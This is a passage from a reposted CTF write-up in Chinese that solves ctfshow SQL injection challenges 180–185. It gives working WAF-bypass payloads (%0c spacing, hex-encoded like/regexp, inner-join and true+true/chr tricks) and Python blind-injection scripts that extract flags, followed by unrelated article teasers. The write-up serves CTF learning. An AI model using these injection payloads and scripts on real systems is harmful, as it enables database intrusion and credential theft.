ctfshow sql

news2024/9/23 11:27:13

180  过滤%23

%23被过滤,没办法注释了,还可以用’1’='1来闭合后边。

或者使用--%0c--

1'%0corder%0cby%0c3--%0c--

1'%0cunion%0cselect%0c1,2,database()--%0c--

1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c--

1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c--

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c--

181  优先级

过滤了很多

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

这里通过优先级进行绕过

and > or 所以and会先执行
因为1 and 0 ====0
     
1 and 0 or 1  就会变为   0 or 1  =====1
     
所以我们可以根据这个特性绕过

-1'||username='flag

182 id查询

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }
      

 因为flag被过滤了,所以不能用上面一题的

但是我们可以知道flag的id是26

-1'||id='26

 183  构造where like绕过

的确很懵b

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;
      

 tableName用post传参

我们知道当前表名叫做ctfshow_user

传参试试

$sql = "select count(pass) from ".$_POST['tableName'].";";

放进sql查询,因为语句中没有where,我们要加上where子句

select count(pass) from "ctfshow_user" where pass = ctf#";

但是我们上面可以看到很多被过滤了,=也被过滤了,用like来绕过

看下like的模糊匹配

(ctfshow_user)where(pass)like'ctf%'
ctf%匹配ctf开头

import requests
import string
url="http://aa24dff0-c290-4c34-adf3-fa3279663bca.challenge.ctf.show/select-waf.php"
payload="(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag=''

for i in range(1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(flag+j)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)

 

 184

where、单双引号、反引号都被过滤了,但是没有过滤空格。
 

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;

因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。

where可以用having来绕过

看下我上篇写的having语句

SELECT TABLE_NAME,sum(ORDINAL_POSITION) FROM `COLUMNS` GROUP BY TABLE_NAME HAVING sum(ORDINAL_POSITION)>30
 
查询两列,table_name,还有ordinal_position求和,用group by来组合两列,用having来限制条件

regexp 正则匹配

 SQL学习笔记 -- REGEXP - 知乎

tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)

ctfshow{的十六进制编码就是0x63746673686f777b

这里随便猜了一下,第一位是2

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass regexp(0x63746673686f777b{0})"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])  //replace()函数将十六进制字符串中的前缀"0x"替换为空字符串。
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)


uuid = string.ascii_lowercase+string.digits+"-{}"
这里的j字符串变量可以用这些函数
string.ascii_lowercase 是一个包含英文字母小写的字符串常量。
string.digits 是一个包含十进制数字(0-9)的字符串常量。

一直报不出来mmd又是过期了环境,重新开了一个

 一开始搞不懂为什么要先进行ascii编码,然后直接试了一下,原来字符串不能直接进行hex十六进制编码

需要先取ASCII值,然后再hex

like

居然也可以用like 我还以为十六进制不行

but 发现只要like后面不加单引号,他也能匹配到

记住还有%,先进行编码一下

好了验证成功,我们来试一下payload

tableName=ctfshow_user group by pass having pass like (0x63746673686f777b25)

好了来修改脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)

主要是%

INNER join on

SQL INNER JOIN 关键字 | 菜鸟教程

INNER join on可以绕过where

先在mysql里面试一下

payload

tableName=ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f7725

脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 22;"  in r.text:
            flag+=j
            print(flag)

185  true代替数字,concat+chr代替引号

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;
      

1、没有数字,我们需要构造出数字

 查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)

我们先在mysql里面尝试一下看看

 SELECT true from information_Schema.columns

SELECT true+true from information_Schema.columns 

 SELECT char(true+true) from information_Schema.columns

把数字通过true来代替

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):
    num = 'true'  //把数字定义为true
    if s == 1:
        return 'true'
    else:
        for i in range(s-1):
            num +='+true'
        return num  //数字为几就返回几个true


a=4
print(createNum(a))

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):
    num = 'true'
    if s == 1:
        return 'true'
    else:
        for i in range(s-1):
            num +='+true'
        return num
def createStrNum(n):
    str=''
    str+="chr("+createNum(ord(n[0]))+")"  //第一个字符转为true格式 然后再加上chr 即可
    for i in n[1:]:
        str += ",chr(" + createNum(ord(i)) + ")"
    return str


a='4'
print(createStrNum(a))

4的ascii是52

 简而言之,这两个函数实现的功能就是:

a=4

4的ascii码是52

那么第一个函数createNum(s)把数字转换成true字符串

第二个函数加上chr()

chr(true+true+.....+true)

这里还需要使用concat,使得 串在一起

import string

import requests

url = 'http://087df77e-3225-4a02-b671-225d996908c5.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1248921.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis常用操作及应用(一)

一、五种数据结构 二、String结构 1、字符串常用操作 SET key value //存入字符串键值对 MSET key value [key value ...] //批量存储字符串键值对 SETNX key value //存入一个不存在的字符串键值对 GET key //获取一个字符串键值 MGET key [ke…

超好用的制作照片书神器,强到没朋友

在这个快节奏的时代,我们常常忙于工作和生活,而忽略了那些珍贵的回忆。现在,有了超好用的制作照片书神器,你可以轻松地将这些回忆化为实实在在的书册,随时翻阅,感受那份温暖和感动。 接下来给大家推荐一款神…

开源还是闭源(=°Д°=)!!趋势表明,开源技术在诸多领域中日益受到重视

开源和闭源,两种截然不同的开发模式,对于大模型的发展有着重要影响。开源让技术共享,吸引了众多人才加入,推动了大模的创新。而闭源则保护了商业利益和技术优势,为大模型的商业应用提供了更好的保障。 一、开源和闭源的…

长征故事vr互动教育体验系统让师生感同身受

红色文化是贯穿于新民主主义革命、社会主义建设的各个时期,具有深厚的历史价值和文化内涵的先进文化,是高效、优质的教育资源。思政课vr红色数字展馆充分开发和大力弘扬红色文化资源,发挥其独特资源优势和教育功能,应用到教学中&a…

【学习草稿】pid控制基础实现--往水桶注水

pid 1)非常通俗易懂的PID控制(1)https://zhuanlan.zhihu.com/p/37515841 球场上运动至指定地点(比例控制):有图【很直观的帮助理解】&有文字分析 2)初识PID-搞懂PID概念 https://zhuanlan.…

leetcode刷题日志-11盛最多水的容器

给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 说明:你不能倾斜容器。 思路…

LeetCode.88合并两个有序数组

LeetCode.88合并两个有序数组 1.问题描述2.解题思路3.代码 1.问题描述 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2,另有两个整数 m 和 n ,分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中,使合并后的数组同…

完美解决:Nginx访问PHP出现File not found.

目录 解决方法一: 解决方法二: 遇到 File not found. 出现的问题解决: 解决方法一: 修改nginx的主配置文件。 vi /etc/nginx/nginx.conf location ~ \.php$ { root html; fastcgi_pass …

人工智能-注意力机制之注意力提示

注意力提示 自经济学研究稀缺资源分配以来,人们正处在“注意力经济”时代, 即人类的注意力被视为可以交换的、有限的、有价值的且稀缺的商品。 许多商业模式也被开发出来去利用这一点: 在音乐或视频流媒体服务上,人们要么消耗注意…

读懂毛京波的营销,也就读懂了路特斯的提速转变

“尽管我们交付还不到一年时间,但是今天Emeya一发布,我们的三车主又诞生了,他有Emira、Eletre,马上又定了Emeya,说明他对路特斯还是非常认可的,”路特斯集团CEO冯擎峰欣喜地说道,一个产品能不能…

《C++PrimePlus》第8章 函数探幽

8.1 内联函数 使用内联函数 #include <iostream> using namespace std;inline double square(double x) { return x * x; }int main(){double a;a square(5.0);cout << "a " << a << endl;return 0; } 8.2 引用变量 将引用用作函数参数&…

在JVM中 判定哪些对象是垃圾?

目录 垃圾的条件 1、引用计数法 2、可达性分析 3、强引用 4、软引用 5、弱引用 6、虚引用 判断垃圾的条件 在Java虚拟机&#xff08;JVM&#xff09;中&#xff0c;垃圾收集器负责管理内存&#xff0c;其中的垃圾收集算法用于确定哪些对象是垃圾&#xff0c;可以被回收…

0002Java程序设计-springboot在线考试系统小程序

文章目录 **摘 要****目录**系统实现开发环境 编程技术交流、源码分享、模板分享、网课分享 企鹅&#x1f427;裙&#xff1a;776871563 摘 要 本毕业设计的内容是设计并且实现一个基于springboot的在线考试系统小程序。它是在Windows下&#xff0c;以MYSQL为数据库开发平台&…

记一次linux操作系统实验

前言 最近完成了一个需要修改和编译linux内核源码的操作系统实验&#xff0c;个人感觉这个实验还是比较有意思的。这次实验总共耗时4天&#xff0c;从对linux实现零基础&#xff0c;通过查阅资料和不断尝试&#xff0c;直到完成实验目标&#xff0c;在这过程中确实也收获颇丰&…

井盖位移监测系统怎么监测井盖位移

党的二十大报告提出&#xff0c;坚持人民城市人民建、人民城市为人民&#xff0c;提高城市规划、建设、治理水平。秉持依法治理、创新引领的理念&#xff0c;市政府应该坚定推进窨井盖安全管理工作&#xff0c;不断加大排查整治力度&#xff0c;弥补设施安全管理短板&#xff0…

每日一练:“打家劫舍“(House Robber)问题 II

有想要了解打家劫舍初级问题的&#xff0c;可以点击下面链接查看&#xff01; 每日一练&#xff1a;“打家劫舍“&#xff08;House Robber&#xff09;问题 I 1. 问题 假设有房屋形成一个环形&#xff0c;即第一个房屋和最后一个房屋也相邻&#xff0c;每个房屋里都存放着一定…

Java数组的复制、截取(内含例题:力扣-189.轮转数组)

目录 数组的复制、截取&#xff1a; 1、使用Arrays中的copyOf方法完成数组的拷贝 2、使用Arrays中的copyofRange方法完成数组的拷贝 题目链接&#xff1a; 数组的复制、截取&#xff1a; 1、使用Arrays中的copyOf方法完成数组的拷贝 public class Csdn {public static vo…

【Git】一文教你学会 submodule 的增、查、改、删

添加子模块 $ git submodule add <url> <path>url 为想要添加的子模块路径path 为子模块存放的本地路径 示例&#xff0c;添加 r-tinymaix 为子模块到主仓库 ./sdk/packages/online-packages/r-tinymaix 路径下&#xff0c;命令如下所示&#xff1a; $ git subm…

UI自动化测试神器:RunnerGo测试平台

可以直接进入官网下载开源版或点击右上角体验企业版体验 RunnerGo UI自动化平台 RunnerGo提供从API管理到API性能再到可视化的API自动化、UI自动化测试功能模块&#xff0c;覆盖了整个产品测试周期。 RunnerGo UI自动化基于Selenium浏览器自动化方案构建&#xff0c;内嵌高度…

可持续创新 精选路线

在加速企业数字化转型、 实现智能制造的升级之路上&#xff01; 使用好的工具固然重要&#xff0c; 而有好工具&#xff0c;也要会用工具。生信科技不仅为企业提供强大的产品支持&#xff0c; 更有全方位的定制化服务&#xff0c; 提升工程师的工具应用能力&#xff0c; 让企业…